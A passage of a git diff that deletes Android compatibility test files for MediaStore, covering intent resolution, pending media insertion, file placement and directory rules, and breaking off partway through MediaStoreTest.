-import org.junit.runners.Parameterized.Parameters;
-
-import java.util.List;
-
-/**
- * Tests to verify that common actions on {@link MediaStore} content are
- * available.
- */
-@RunWith(Parameterized.class)
-public class MediaStoreIntentsTest {
- private Uri mExternalAudio;
- private Uri mExternalVideo;
- private Uri mExternalImages;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
- mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
- mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
- }
-
- public void assertCanBeHandled(Intent intent) {
- List<ResolveInfo> resolveInfoList = InstrumentationRegistry.getTargetContext()
- .getPackageManager().queryIntentActivities(intent, 0);
- assertNotNull("Missing ResolveInfo", resolveInfoList);
- assertTrue("No ResolveInfo found for " + intent.toString(),
- resolveInfoList.size() > 0);
- }
-
- @Test
- public void testPickImageDir() {
- Intent intent = new Intent(Intent.ACTION_PICK);
- intent.setData(mExternalImages);
- assertCanBeHandled(intent);
- }
-
- @Test
- public void testPickVideoDir() {
- Intent intent = new Intent(Intent.ACTION_PICK);
- intent.setData(mExternalVideo);
- assertCanBeHandled(intent);
- }
-
- @Test
- public void testPickAudioDir() {
- Intent intent = new Intent(Intent.ACTION_PICK);
- intent.setData(mExternalAudio);
- assertCanBeHandled(intent);
- }
-
- @Test
- public void testViewImageDir() {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.setData(mExternalImages);
- assertCanBeHandled(intent);
- }
-
- @Test
- public void testViewVideoDir() {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- intent.setData(mExternalVideo);
- assertCanBeHandled(intent);
- }
-
- @Test
- public void testViewImageFile() {
- final String[] schemes = new String[] {
- "file", "http", "https", "content" };
- final String[] mimes = new String[] {
- "image/bmp", "image/jpeg", "image/png", "image/gif", "image/webp",
- "image/x-adobe-dng", "image/x-canon-cr2", "image/x-nikon-nef", "image/x-nikon-nrw",
- "image/x-sony-arw", "image/x-panasonic-rw2", "image/x-olympus-orf",
- "image/x-fuji-raf", "image/x-pentax-pef", "image/x-samsung-srw" };
-
- for (String scheme : schemes) {
- for (String mime : mimes) {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- final Uri uri = new Uri.Builder().scheme(scheme)
- .authority("example.com").path("image").build();
- intent.setDataAndType(uri, mime);
- assertCanBeHandled(intent);
- }
- }
- }
-
- @Test
- public void testViewVideoFile() {
- final String[] schemes = new String[] {
- "file", "http", "https", "content" };
- final String[] mimes = new String[] {
- "video/mpeg4", "video/mp4", "video/3gp", "video/3gpp", "video/3gpp2",
- "video/webm" };
-
- for (String scheme : schemes) {
- for (String mime : mimes) {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- final Uri uri = new Uri.Builder().scheme(scheme)
- .authority("example.com").path("video").build();
- intent.setDataAndType(uri, mime);
- assertCanBeHandled(intent);
- }
- }
- }
-
- @Test
- public void testViewAudioFile() {
- final String[] schemes = new String[] {
- "file", "http", "content" };
- final String[] mimes = new String[] {
- "audio/mpeg", "audio/mp4", "audio/ogg", "audio/webm", "application/ogg",
- "application/x-ogg" };
-
- for (String scheme : schemes) {
- for (String mime : mimes) {
- Intent intent = new Intent(Intent.ACTION_VIEW);
- final Uri uri = new Uri.Builder().scheme(scheme)
- .authority("example.com").path("audio").build();
- intent.setDataAndType(uri, mime);
- assertCanBeHandled(intent);
- }
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java b/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
deleted file mode 100644
index 85d4109..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
+++ /dev/null
@@ -1,463 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-import static android.provider.cts.ProviderTestUtils.containsId;
-import static android.provider.cts.ProviderTestUtils.getRawFile;
-import static android.provider.cts.ProviderTestUtils.getRawFileHash;
-import static android.provider.cts.ProviderTestUtils.hash;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.FileUtils;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.MediaColumns;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.google.common.base.Objects;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Set;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStorePendingTest {
- private Context mContext;
- private ContentResolver mResolver;
-
- private Uri mExternalAudio;
- private Uri mExternalVideo;
- private Uri mExternalImages;
- private Uri mExternalDownloads;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
- mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
- mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
- mExternalDownloads = MediaStore.Downloads.getContentUri(mVolumeName);
- }
-
- @Test
- public void testSimple_Success() throws Exception {
- verifySuccessfulImageInsertion(mExternalImages, Environment.DIRECTORY_PICTURES);
- }
-
- @Test
- public void testSimpleDownload_Success() throws Exception {
- verifySuccessfulImageInsertion(mExternalDownloads, Environment.DIRECTORY_DOWNLOADS);
- }
-
- private void verifySuccessfulImageInsertion(Uri insertUri, String expectedDestDir)
- throws Exception {
- final String displayName = "cts" + System.nanoTime();
-
- final PendingParams params = new PendingParams(
- insertUri, displayName, "image/png");
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- final long id = ContentUris.parseId(pendingUri);
-
- // Verify pending status across various queries
- try (Cursor c = mResolver.query(pendingUri,
- new String[] { MediaColumns.IS_PENDING }, null, null)) {
- assertTrue(c.moveToFirst());
- assertEquals(1, c.getInt(0));
- }
- assertFalse(containsId(insertUri, id));
- assertTrue(containsId(MediaStore.setIncludePending(insertUri), id));
-
- // Write an image into place
- final Uri publishUri;
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
- OutputStream out = session.openOutputStream()) {
- FileUtils.copy(in, out);
- }
- publishUri = session.publish();
- }
-
- // Verify pending status across various queries
- try (Cursor c = mResolver.query(publishUri,
- new String[] { MediaColumns.IS_PENDING }, null, null)) {
- assertTrue(c.moveToFirst());
- assertEquals(0, c.getInt(0));
- }
- assertTrue(containsId(insertUri, id));
- assertTrue(containsId(MediaStore.setIncludePending(insertUri), id));
-
- // Make sure our raw filename looks sane
- final File rawFile = getRawFile(publishUri);
- assertEquals(displayName + ".png", rawFile.getName());
- assertEquals(expectedDestDir, rawFile.getParentFile().getName());
-
- // Make sure file actually exists
- getRawFileHash(rawFile);
- try (InputStream in = mResolver.openInputStream(publishUri)) {
- }
- }
-
- @Test
- public void testSimple_Abandoned() throws Exception {
- final String displayName = "cts" + System.nanoTime();
-
- final Uri insertUri = mExternalImages;
- final PendingParams params = new PendingParams(
- insertUri, displayName, "image/png");
-
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- final File pendingFile;
-
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
- OutputStream out = session.openOutputStream()) {
- FileUtils.copy(in, out);
- }
-
- // Pending file should exist
- pendingFile = getRawFile(pendingUri);
- getRawFileHash(pendingFile);
-
- session.abandon();
- }
-
- // Should have no record of abandoned item
- try (Cursor c = mResolver.query(pendingUri,
- new String[] { MediaColumns.IS_PENDING }, null, null)) {
- assertFalse(c.moveToNext());
- }
-
- // Pending file should be gone
- try {
- getRawFileHash(pendingFile);
- fail();
- } catch (FileNotFoundException expected) {
- }
- }
-
- @Test
- public void testDuplicates() throws Exception {
- final String displayName = "cts" + System.nanoTime();
-
- final Uri insertUri = mExternalAudio;
- final PendingParams params1 = new PendingParams(
- insertUri, displayName, "audio/mpeg");
- final PendingParams params2 = new PendingParams(
- insertUri, displayName, "audio/mpeg");
-
- final Uri publishUri1 = execPending(params1, R.raw.testmp3);
- final Uri publishUri2 = execPending(params2, R.raw.testmp3_2);
-
- // Make sure both files landed with unique filenames, and that we didn't
- // cross the streams
- final File rawFile1 = getRawFile(publishUri1);
- final File rawFile2 = getRawFile(publishUri2);
- assertFalse(Objects.equal(rawFile1, rawFile2));
-
- assertArrayEquals(hash(mContext.getResources().openRawResource(R.raw.testmp3)),
- hash(mResolver.openInputStream(publishUri1)));
- assertArrayEquals(hash(mContext.getResources().openRawResource(R.raw.testmp3_2)),
- hash(mResolver.openInputStream(publishUri2)));
- }
-
- @Test
- public void testMimeTypes() throws Exception {
- final String displayName = "cts" + System.nanoTime();
-
- assertCreatePending(new PendingParams(mExternalAudio, displayName, "audio/ogg"));
- assertNotCreatePending(new PendingParams(mExternalAudio, displayName, "video/ogg"));
- assertNotCreatePending(new PendingParams(mExternalAudio, displayName, "image/png"));
-
- assertNotCreatePending(new PendingParams(mExternalVideo, displayName, "audio/ogg"));
- assertCreatePending(new PendingParams(mExternalVideo, displayName, "video/ogg"));
- assertNotCreatePending(new PendingParams(mExternalVideo, displayName, "image/png"));
-
- assertNotCreatePending(new PendingParams(mExternalImages, displayName, "audio/ogg"));
- assertNotCreatePending(new PendingParams(mExternalImages, displayName, "video/ogg"));
- assertCreatePending(new PendingParams(mExternalImages, displayName, "image/png"));
-
- assertCreatePending(new PendingParams(mExternalDownloads, displayName, "audio/ogg"));
- assertCreatePending(new PendingParams(mExternalDownloads, displayName, "video/ogg"));
- assertCreatePending(new PendingParams(mExternalDownloads, displayName, "image/png"));
- assertCreatePending(new PendingParams(mExternalDownloads, displayName,
- "application/pdf"));
- }
-
- @Test
- public void testMimeTypes_Forced() throws Exception {
- {
- final String displayName = "cts" + System.nanoTime();
- final Uri uri = execPending(new PendingParams(mExternalImages,
- displayName, "image/png"), R.raw.scenery);
- assertEquals(displayName + ".png", getRawFile(uri).getName());
- }
- {
- final String displayName = "cts" + System.nanoTime() + ".png";
- final Uri uri = execPending(new PendingParams(mExternalImages,
- displayName, "image/png"), R.raw.scenery);
- assertEquals(displayName, getRawFile(uri).getName());
- }
- {
- final String displayName = "cts" + System.nanoTime() + ".jpg";
- final Uri uri = execPending(new PendingParams(mExternalImages,
- displayName, "image/png"), R.raw.scenery);
- assertEquals(displayName + ".png", getRawFile(uri).getName());
- }
- }
-
- @Test
- public void testDirectories() throws Exception {
- final String displayName = "cts" + System.nanoTime();
-
- final Set<String> allowedAudio = new HashSet<>(
- Arrays.asList(Environment.DIRECTORY_MUSIC, Environment.DIRECTORY_RINGTONES,
- Environment.DIRECTORY_NOTIFICATIONS, Environment.DIRECTORY_PODCASTS,
- Environment.DIRECTORY_ALARMS));
- final Set<String> allowedVideo = new HashSet<>(
- Arrays.asList(Environment.DIRECTORY_MOVIES, Environment.DIRECTORY_DCIM));
- final Set<String> allowedImages = new HashSet<>(
- Arrays.asList(Environment.DIRECTORY_PICTURES, Environment.DIRECTORY_DCIM));
- final Set<String> allowedDownloads = new HashSet<>(
- Arrays.asList(Environment.DIRECTORY_DOWNLOADS));
-
- final Set<String> everything = new HashSet<>();
- everything.addAll(allowedAudio);
- everything.addAll(allowedVideo);
- everything.addAll(allowedImages);
- everything.addAll(allowedDownloads);
- everything.add(Environment.DIRECTORY_DOCUMENTS);
-
- {
- final PendingParams params = new PendingParams(mExternalAudio,
- displayName, "audio/ogg");
- for (String dir : everything) {
- params.setPath(dir);
- if (allowedAudio.contains(dir)) {
- assertCreatePending(params);
- } else {
- assertNotCreatePending(dir, params);
- }
- }
- }
- {
- final PendingParams params = new PendingParams(mExternalVideo,
- displayName, "video/ogg");
- for (String dir : everything) {
- params.setPath(dir);
- if (allowedVideo.contains(dir)) {
- assertCreatePending(params);
- } else {
- assertNotCreatePending(dir, params);
- }
- }
- }
- {
- final PendingParams params = new PendingParams(mExternalImages,
- displayName, "image/png");
- for (String dir : everything) {
- params.setPath(dir);
- if (allowedImages.contains(dir)) {
- assertCreatePending(params);
- } else {
- assertNotCreatePending(dir, params);
- }
- }
- }
- {
- final PendingParams params = new PendingParams(mExternalDownloads,
- displayName, "video/ogg");
- for (String dir : everything) {
- params.setPath(dir);
- if (allowedDownloads.contains(dir)) {
- assertCreatePending(params);
- } else {
- assertNotCreatePending(dir, params);
- }
- }
- }
- }
-
- @Test
- public void testDirectories_Defaults() throws Exception {
- {
- final String displayName = "cts" + System.nanoTime();
- final Uri uri = execPending(new PendingParams(mExternalImages,
- displayName, "image/png"), R.raw.scenery);
- assertEquals(Environment.DIRECTORY_PICTURES, getRawFile(uri).getParentFile().getName());
- }
- {
- final String displayName = "cts" + System.nanoTime();
- final Uri uri = execPending(new PendingParams(mExternalAudio,
- displayName, "audio/ogg"), R.raw.scenery);
- assertEquals(Environment.DIRECTORY_MUSIC, getRawFile(uri).getParentFile().getName());
- }
- {
- final String displayName = "cts" + System.nanoTime();
- final Uri uri = execPending(new PendingParams(mExternalVideo,
- displayName, "video/ogg"), R.raw.scenery);
- assertEquals(Environment.DIRECTORY_MOVIES, getRawFile(uri).getParentFile().getName());
- }
- {
- final String displayName = "cts" + System.nanoTime();
- final Uri uri = execPending(new PendingParams(mExternalDownloads,
- displayName, "image/png"), R.raw.scenery);
- assertEquals(Environment.DIRECTORY_DOWNLOADS,
- getRawFile(uri).getParentFile().getName());
- }
- }
-
- @Test
- public void testDirectories_Primary() throws Exception {
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(mExternalImages, displayName, "image/png");
- params.setPath(Environment.DIRECTORY_DCIM);
-
- final Uri uri = execPending(params, R.raw.scenery);
- assertEquals(Environment.DIRECTORY_DCIM, getRawFile(uri).getParentFile().getName());
-
- // Verify that shady paths don't work
- params.setPath("foo/../bar");
- assertNotCreatePending(params);
- }
-
- @Test
- public void testDirectories_PrimarySecondary() throws Exception {
- final String displayName = "cts" + System.nanoTime();
- final PendingParams params = new PendingParams(mExternalImages, displayName, "image/png");
- params.setPath("DCIM/Kittens");
-
- final Uri uri = execPending(params, R.raw.scenery);
- final File rawFile = getRawFile(uri);
- assertEquals("Kittens", rawFile.getParentFile().getName());
- assertEquals(Environment.DIRECTORY_DCIM, rawFile.getParentFile().getParentFile().getName());
- }
-
- @Test
- public void testMutableColumns() throws Exception {
- // Stage pending content
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.MIME_TYPE, "image/png");
- values.put(MediaColumns.IS_PENDING, 1);
- values.put(MediaColumns.HEIGHT, 32);
- final Uri uri = mResolver.insert(mExternalImages, values);
- try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
- OutputStream out = mResolver.openOutputStream(uri)) {
- FileUtils.copy(in, out);
- }
-
- // Verify that initial values are present
- try (Cursor c = mResolver.query(uri, null, null, null)) {
- c.moveToFirst();
- assertEquals(32, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
- }
-
- // Verify that we can update values while pending
- values.clear();
- values.put(MediaColumns.HEIGHT, 64);
- mResolver.update(uri, values, null, null);
- try (Cursor c = mResolver.query(uri, null, null, null)) {
- c.moveToFirst();
- assertEquals(64, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
- }
-
- // Publishing triggers scan of underlying file
- values.clear();
- values.put(MediaColumns.IS_PENDING, 0);
- mResolver.update(uri, values, null, null);
- try (Cursor c = mResolver.query(uri, null, null, null)) {
- c.moveToFirst();
- assertEquals(107, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
- }
-
- // Ignored now that we're published
- values.clear();
- values.put(MediaColumns.HEIGHT, 48);
- mResolver.update(uri, values, null, null);
- try (Cursor c = mResolver.query(uri, null, null, null)) {
- c.moveToFirst();
- assertEquals(107, c.getLong(c.getColumnIndexOrThrow(MediaColumns.HEIGHT)));
- }
- }
-
- private void assertCreatePending(PendingParams params) {
- MediaStoreUtils.createPending(mContext, params);
- }
-
- private void assertNotCreatePending(PendingParams params) {
- assertNotCreatePending(null, params);
- }
-
- private void assertNotCreatePending(String message, PendingParams params) {
- try {
- MediaStoreUtils.createPending(mContext, params);
- fail(message);
- } catch (Exception expected) {
- }
- }
-
- private Uri execPending(PendingParams params, int resId) throws Exception {
- final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
- try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
- try (InputStream in = mContext.getResources().openRawResource(resId);
- OutputStream out = session.openOutputStream()) {
- FileUtils.copy(in, out);
- }
- return session.publish();
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStorePlacementTest.java b/tests/tests/provider/src/android/provider/cts/MediaStorePlacementTest.java
deleted file mode 100644
index c05379c..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStorePlacementTest.java
+++ /dev/null
@@ -1,244 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.net.Uri;
-import android.os.Environment;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.MediaColumns;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.util.Optional;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStorePlacementTest {
- static final String TAG = "MediaStorePlacementTest";
-
- private Context mContext;
- private ContentResolver mContentResolver;
-
- private Uri mExternalImages;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
- }
-
- @Test
- public void testDefault() throws Exception {
- final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
- mExternalImages, "image/jpeg");
-
- // By default placed under "Pictures" with sane name
- final File before = ProviderTestUtils.getRelativeFile(uri);
- assertTrue(before.getName().startsWith("cts"));
- assertTrue(before.getName().endsWith("jpg"));
- assertEquals("Pictures", before.getParent());
- }
-
- @Test
- public void testIgnored() throws Exception {
- final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
- mExternalImages, "image/jpeg");
-
- {
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.SIZE, 0);
- assertEquals(0, mContentResolver.update(uri, values, null, null));
- }
-
- // Make sure shady paths can't be passed in
- for (String probe : new String[] {
- "path/.to/dir",
- ".dir",
- "path/../dir",
- }) {
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.RELATIVE_PATH, probe);
- try {
- mContentResolver.update(uri, values, null, null);
- fail();
- } catch (IllegalArgumentException expected) {
- }
- }
- }
-
- @Test
- public void testDisplayName_SameMime() throws Exception {
- final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
- mExternalImages, "image/jpeg");
-
- // Movement within same MIME type is okay
- final File before = ProviderTestUtils.getRelativeFile(uri);
- final String name = "CTS" + System.nanoTime() + ".JPEG";
- assertTrue(updatePlacement(uri, null, Optional.of(name)));
-
- final File after = ProviderTestUtils.getRelativeFile(uri);
- assertEquals(before.getParent(), after.getParent());
- assertEquals(name, after.getName());
- }
-
- @Test
- public void testDisplayName_DifferentMime() throws Exception {
- final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
- mExternalImages, "image/jpeg");
-
- final File before = ProviderTestUtils.getRelativeFile(uri);
- assertTrue(before.getName().endsWith(".jpg"));
-
- // Movement across MIME types is not okay; verify that original MIME
- // type remains intact
- final String name = "cts" + System.nanoTime() + ".png";
- assertTrue(updatePlacement(uri, null, Optional.of(name)));
-
- final File after = ProviderTestUtils.getRelativeFile(uri);
- assertTrue(after.getName().startsWith(name));
- assertTrue(after.getName().endsWith(".jpg"));
- }
-
- @Test
- public void testDirectory_Valid() throws Exception {
- final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
- mExternalImages, "image/jpeg");
-
- final File before = ProviderTestUtils.getRelativeFile(uri);
- assertEquals("Pictures", before.getParent());
-
- {
- assertTrue(updatePlacement(uri,
- Optional.ofNullable(null), null));
- final File after = ProviderTestUtils.getRelativeFile(uri);
- assertEquals("Pictures", after.getParent());
- }
- {
- assertTrue(updatePlacement(uri,
- Optional.of("DCIM/Vacation"), null));
- final File after = ProviderTestUtils.getRelativeFile(uri);
- assertEquals("DCIM/Vacation", after.getParent());
- }
- {
- assertTrue(updatePlacement(uri,
- Optional.of("DCIM/Misc"), null));
- final File after = ProviderTestUtils.getRelativeFile(uri);
- assertEquals("DCIM/Misc", after.getParent());
- }
- {
- assertTrue(updatePlacement(uri,
- Optional.of("Pictures/Misc"), null));
- final File after = ProviderTestUtils.getRelativeFile(uri);
- assertEquals("Pictures/Misc", after.getParent());
- }
- {
- assertTrue(updatePlacement(uri,
- Optional.of("Pictures"), null));
- final File after = ProviderTestUtils.getRelativeFile(uri);
- assertEquals("Pictures", after.getParent());
- }
- }
-
- @Test
- public void testDirectory_Invalid() throws Exception {
- final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
- mExternalImages, "image/jpeg");
-
- assertFalse(updatePlacement(uri,
- Optional.of("Random"), null));
- assertFalse(updatePlacement(uri,
- Optional.of(Environment.DIRECTORY_ALARMS), null));
- }
-
- @Test
- public void testDirectory_InsideSandbox() throws Exception {
- Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
-
- final File dir = MediaStore.getVolumePath(mVolumeName);
- final File file = ProviderTestUtils.stageFile(R.drawable.scenery, Environment.buildPath(dir,
- "Android", "media", "android.provider.cts", System.nanoTime() + ".jpg"));
- final Uri uri = ProviderTestUtils.scanFile(file);
-
- assertFalse(updatePlacement(uri,
- Optional.of("Android/media/android.provider.cts/foo"), null));
- assertFalse(updatePlacement(uri,
- Optional.of("Android/media/com.example/foo"), null));
- assertFalse(updatePlacement(uri,
- Optional.of("DCIM"), null));
- }
-
- @Test
- public void testDirectory_OutsideSandbox() throws Exception {
- Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
-
- final Uri uri = ProviderTestUtils.stageMedia(R.drawable.scenery,
- mExternalImages, "image/jpeg");
-
- assertFalse(updatePlacement(uri,
- Optional.of("Android/media/android.provider.cts/foo"), null));
- assertFalse(updatePlacement(uri,
- Optional.of("Android/media/com.example/foo"), null));
- assertTrue(updatePlacement(uri,
- Optional.of("DCIM"), null));
- }
-
- private boolean updatePlacement(Uri uri, Optional<String> path, Optional<String> displayName)
- throws Exception {
- final ContentValues values = new ContentValues();
- if (path != null) {
- values.put(MediaColumns.RELATIVE_PATH, path.orElse(null));
- }
- if (displayName != null) {
- values.put(MediaColumns.DISPLAY_NAME, displayName.orElse(null));
- }
- try {
- return (mContentResolver.update(uri, values, null, null) == 1);
- } catch (Exception tolerated) {
- return false;
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
deleted file mode 100644
index 937bddf..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreTest.java
+++ /dev/null
@@ -1,263 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.usage.StorageStatsManager;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.os.storage.StorageManager;
-import android.os.storage.StorageVolume;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.MediaColumns;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.After;
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.UUID;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStoreTest {
- static final String TAG = "MediaStoreTest";
-
- private static final long SIZE_DELTA = 32_000;
-
- private Context mContext;
- private ContentResolver mContentResolver;
-
- private Uri mExternalImages;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- private Context getContext() {
- return InstrumentationRegistry.getTargetContext();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
- }
-
- @After
- public void tearDown() throws Exception {
- InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .dropShellPermissionIdentity();
- }
-
- @Test
- public void testGetMediaScannerUri() {
- // query
- Cursor c = mContentResolver.query(MediaStore.getMediaScannerUri(), null,
- null, null, null);
- assertEquals(1, c.getCount());
- c.close();
- }
-
- @Test
- public void testGetVersion() {
- // We should have valid versions to help detect data wipes
- assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_INTERNAL));
- assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_EXTERNAL));
- assertNotNull(MediaStore.getVersion(getContext(), MediaStore.VOLUME_EXTERNAL_PRIMARY));
- }
-
- @Test
- public void testGetExternalVolumeNames() {
- Set<String> volumeNames = MediaStore.getExternalVolumeNames(getContext());
-
- assertFalse(volumeNames.contains(MediaStore.VOLUME_INTERNAL));
- assertFalse(volumeNames.contains(MediaStore.VOLUME_EXTERNAL));
- assertTrue(volumeNames.contains(MediaStore.VOLUME_EXTERNAL_PRIMARY));
- }
-
- @Test
- public void testGetStorageVolume() throws Exception {
- Assume.assumeFalse(MediaStore.VOLUME_EXTERNAL.equals(mVolumeName));
-
- final Uri uri = ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages);
-
- final StorageManager sm = mContext.getSystemService(StorageManager.class);
- final StorageVolume sv = sm.getStorageVolume(uri);
-
- // We should always have a volume for media we just created
- assertNotNull(sv);
-
- if (MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName)) {
- assertEquals(sm.getPrimaryStorageVolume(), sv);
- }
- }
-
- @Test
- public void testGetStorageVolume_Unrelated() throws Exception {
- final StorageManager sm = mContext.getSystemService(StorageManager.class);
- try {
